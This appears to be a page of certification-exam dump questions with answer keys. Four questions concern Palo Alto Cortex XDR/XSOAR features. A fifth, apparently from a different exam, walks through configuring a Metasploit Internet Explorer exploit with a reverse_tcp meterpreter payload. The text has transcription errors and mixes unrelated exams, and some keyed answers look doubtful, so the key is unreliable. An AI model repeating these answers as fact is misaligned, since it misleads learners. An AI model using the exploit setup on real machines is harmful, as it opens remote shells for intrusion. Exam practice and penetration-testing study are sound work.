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QUESTION 1

A General Purpose Dynamic Section can be added to which two layouts for incident types? (Choose two)
A. "Close" Incident Form

B. Incident Summary

C. Incident Quick View

D. "New"/Edit" Incident Form

Correct Answer: BC

QUESTION 2

In Cortex XDR Prevent, which three matching criteria can be used to dynamically group endpoints? (Choose three )
A. alert root cause

B. hostname

C. domain/workgroup membership

D.OS

E. presence of Flash executable

Correct Answer: ACE

QUESTION 3

Which two items are stitched to the Cortex XDR causality chain\\'\\' (Choose two)
A. firewall alert

B. SIEM alert

C. full URL

D. registry set value

Correct Answer: AD

QUESTION 4

In the DBotScore context field, which context key would differentiate between multiple entries for the same indicator in a
multi-TIP environment?
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A. Vendor

B. Type
C. Using
D. Brand

Correct Answer: A

QUESTION 5

A test for a Microsoft exploit has been planned. After some research Internet Explorer 11 CVE-2016-0189 has been
selected and a module in Metasploit has been identified (exploit/windows/browser/ms16_051_vbscript)

The description and current configuration of the exploit are as follows;

msf exploit(ms16_051_vbscript) > show options

Module options (exploit'windows/browser/ms16_051_vbscript):

Name Current Setting Required Description

SRVHOST 10.0.0.10 Yes The local host to listen on.

SRVPORT 80 Yes The local port to listen on.

SSL false No Megotiate SSL for incoming connections

SSLCert No Path to a custom SSL certificate
(default is randomly generated)

URIPATH No The URI to use for this exploit (default
is random)

The admin needs to perform the following steps:

« Configure a reverse tcp meterpreter payload

+ Set up the meterpreter payload to listen in IP 10.0.0.10

« Set up the meterpreter payload to listen in port 443

+ Configure the URL to listen in a path with name “survey”

What is the remaining configuration?

A. set PAYLOAD windows/x64/meterpreter/reverse_tcp set SSLCert survey set LHOST 10.0.0.10

set LPORT 8080

B. set PAYLOAD windows/x64/powershell_bind_tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH survey

C. set PAYLOAD windows/x64/meterpreter/reverse_Tcp set SRVHOST 10.0.0.10 set SRVHOST 443 set URIPATH
survey

D. set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.10 set LPORT 443 set URIPATH survey
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Correct Answer: D
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